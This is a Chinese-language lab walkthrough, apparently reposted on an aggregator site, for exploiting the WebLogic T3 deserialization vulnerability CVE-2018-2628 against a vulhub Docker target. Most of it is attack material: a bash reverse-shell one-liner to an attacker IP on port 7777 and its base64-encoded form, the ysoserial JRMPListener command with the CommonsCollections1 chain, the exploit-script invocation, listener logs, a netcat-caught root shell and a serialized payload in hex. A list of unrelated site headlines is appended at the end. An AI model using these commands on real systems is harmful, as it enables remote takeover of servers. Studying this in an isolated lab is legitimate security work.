当前位置: 首页 > news >正文

【weblogic】协议反序列化漏洞 - 指南

      WebLogic 控制台默认开放的 ​​7001 端口​​ 是攻击起点。该端口会默认开启 ​​T3 协议​​服务,这是 Oracle 为 WebLogic 定制的用于服务间通信的高性能协议。​

      T3 协议实现了 Java 的 ​​RMI(远程方法调用)​​ 机制,用于在 WebLogic 服务器与其他 Java 客户端之间传输序列化对象数据。问题在于,T3 协议在处理这些数据时,会对其进行​​反序列化​​操作。

      漏洞的核心在于,WebLogic 的 ​​WLS核心组件​​ 在反序列化由 T3 协议传输的数据时,没有进行充分的安全校验。这个反序列化过程的缺陷是触发漏洞的根本原因。​

       攻击者可以精心构造恶意的 T3 协议数据包,并发送至目标的 7001 端口。当 WebLogic 服务器接收到这些数据并尝试反序列化时,就会执行其中嵌入的​​恶意代码​​。成功利用此漏洞,攻击者可以直接在目标服务器上获得执行命令的权限,从而完全控制服务器。

登录虚拟机启动docker和启动相关靶场

[root@localhost ~]systemctl start docker
[root@localhost ~]cd /var/local/soft/vulhub-master/weblogic
[root@localhost weblogic]ls
CVE-2017-10271  CVE-2018-2894   CVE-2023-21839  weak_password
CVE-2018-2628   CVE-2020-14882  ssrf
[root@localhost weblogic]cd CVE-2018-2628
[root@localhost CVE-2018-2628]docker-compose up -d
[+] Running 2/2✔ Network cve-2018-2628_default       Created                                             0.7s✔ Container cve-2018-2628-weblogic-1  Started                                             3.0s
[root@localhost CVE-2018-2628]#

1. ​​Bash反弹Shell命令​​,用于建立从目标主机到攻击机的反向TCP连接。

bash -i >& /dev/tcp/192.168.142.162/7777 0>&1

部分

作用

技术细节

bash -i

启动交互式Bash

-i参数表示交互模式(Interactive)

>&

合并输出流

将标准输出(stdout)和标准错误(stderr)合并

/dev/tcp/192.168.142.162/7777

建立TCP连接

Bash内置功能,无需实际文件,直接创建TCP套接字

0>&1

重定向输入流

将标准输入(stdin)重定向到标准输出(即TCP连接)

用反弹连接base64 payload生成工具,生成

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xNjIvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

需要用到ysoserial.jar包和命令:(ip是自身作为攻击机的ip)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761
CommonsCollections1“bash -i >& /dev/tcp/192.168.142.135/7777 0>&1”

部分

作用

java -cp ysoserial.jar

使用 Java 运行 ysoserial 工具包

ysoserial.exploit.JRMPListener

启动 JRMP(Java Remote Method Protocol)监听服务

8761

监听的端口号(可自定义)

CommonsCollections1

使用的反序列化利用链(Payload)

"bash -i >& /dev/tcp/192.168.142.162/7777 0>&1"

要在目标服务器上执行的反弹 Shell 命令

拼接成以下这段话,只要有服务器连8761端口,就会建立反弹连接

启动第二个kali终端,接收来自目标系统的连接,等待目标服务器主动连接回来(反向 Shell)

开启第三个kali终端,该目录下执行

python2 cve-2018-2628-exp.py 192.168.142.133 7001 ysoserial.jar
192.168.142.162 8761 JRMPClient

参数

作用

cve-2018-2628-exp.py

-

漏洞利用脚本(用于触发WebLogic反序列化漏洞)

​目标IP​

192.168.142.133

存在漏洞的WebLogic服务器IP地址(我这里是centos)

​目标端口​

7001

WebLogic默认的T3协议端口

​ysoserial路径​

ysoserial.jar

反序列化攻击工具包路径

​攻击机IP​

192.168.142.162

运行JRMPListener的Kali攻击机IP

​JRMP端口​

8761

攻击机监听的JRMP服务端口

​Payload类型​

JRMPClient

指定使用JRMP协议的反序列化攻击载荷

kali1回显

┌──(root?kali)-[~/weblogic-exp]
└─# java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8761 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzUvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"
* Opening JRMP listener on 8761
Have connection from /192.168.142.131:54796
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /192.168.142.131:54798
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /192.168.142.131:54804
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
Have connection from /192.168.142.131:54808
Reading message...
Is DGC call for [[0:0:0, 172791725]]
Sending return with payload for obj [0:0:0, 2]
Closing connection

kali2回显

┌──(root㉿kali)-[~]
└─# nc -lvp 7777
listening on [any] 7777 ...
192.168.142.131: inverse host lookup failed: Unknown host
connect to [192.168.142.135] from (UNKNOWN) [192.168.142.131] 53646
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@9e33f190c7df:~/Oracle/Middleware/user_projects/domains/base_domain#

目标服务器成功反弹 Shell 到 7777 端口,获得了目标服务器的 Shell 控制权​

现在可以在这个 Shell 中执行以下命令:

​信息收集命令​

# 查看系统信息 uname -a cat /etc/issue

# 查看网络配置 ip addr netstat -tulnp

# 查看进程和服务 ps aux

kali3回显

┌──(root㉿kali)-[~/weblogic-exp]
└─# python2 cve-2018-2628-exp.py 192.168.142.131 7001 ysoserial.jar 192.168.142.135 8761 JRMPClient
handshake successful
send request payload successful,recv length:1690
command: java -jar ysoserial.jar JRMPClient 192.168.142.135:8761 > payload.out
payload: aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707738000a556e6963617374526566000f3139322e3136382e3134322e31333500002239ffffffff92a70d3500000000000000000000000000000078

   这里看到与目标WebLogic服务器建立连接,恶意载荷已发送并收到响应,成了完整的JRMPClient反序列化数据。

http://www.jsqmd.com/news/52938/

相关文章:

  • 成都冷库制冷设备螺杆机组制造厂家哪家靠谱?认准成都科斯特!
  • 制冷设备哪家好?成都科斯特多维优势口碑推荐!
  • 2025年11月蒸汽发生器品牌推荐榜:综合实力与创新技术排行解析
  • 2025年药品检测柱后衍生系统十大推荐品牌,赛智柱后衍生技术
  • 四、使用Spring AI实现MCP Client调用MCP Server
  • 2025长沙西点培训学校TOP5权威推荐:长沙欧米奇专业吗?
  • 2025年11月蒸汽发生器品牌评价排行:行业数据与用户场景化分析
  • Android开发TextView字体大小自适应实现
  • 我的机器人制作流程
  • 解决Unity中使用C#自带类库没有代码提示的问题
  • 球缺与球台公式完整总结表
  • 基于MATLAB实现的PSO优化BP神经网络
  • 2025年十大高压旧电缆回收公司排行榜,金属电缆回收厂家推荐
  • 2025年中国仿真模拟商家满意度榜单:行业口碑与个性化定制能
  • 2025 年 11 月牙刷品牌权威推荐榜:涵盖软毛/电动/儿童/便携/声波/护龈/脱敏/旋转式/超软毛/深层清洁牙刷的全方位口腔护理精选指南
  • 2025年花都人气湘菜馆TOP5推荐,花都菜品好的湘菜馆与旅
  • 更年期综合征调理产品推荐:从传统中成制剂到前沿疗法,精准避坑攻略
  • 懒人必藏!小程序推荐休闲游戏,十款挂机休闲神作,躺着也能享受乐趣
  • 租用美国服务器的网站能做些什么
  • boringssl中0-RTT的错误码
  • 2025年快开盲板优质生产商服务商排行榜,最新测评精选供应
  • 再议求函数定义域中的一类难懂易错题目
  • 长文本溢出展开/收起功能
  • 2025 年 11 月冲牙器品牌权威推荐榜:涵盖声波脉冲、便携迷你、智能变频及儿童专用,全方位洁净体验与创新科技深度解析
  • Mac利用XAMPP创建thinkphp6项目
  • 2025 年 11 月应力仪厂家权威推荐榜:全自动/UTG玻璃/便携式智能/多光源/光伏玻璃/微晶玻璃/手持式/幕墙玻璃/紫外红外/电子玻璃应力仪精选指南
  • 2025压力喷雾干燥塔厂家推荐榜 选型要点全解析
  • 2025年食品脱水设备优质厂家权威推荐榜单:食品干燥机‌/食品烘干设备 ‌/食品烘干机源头厂家精选
  • 2025年11月成都监理公司推荐榜单:基于资质、服务与口碑的综合排行
  • 2025年中国深海环境模拟装备公司TOP5推荐:卡普蒂姆的发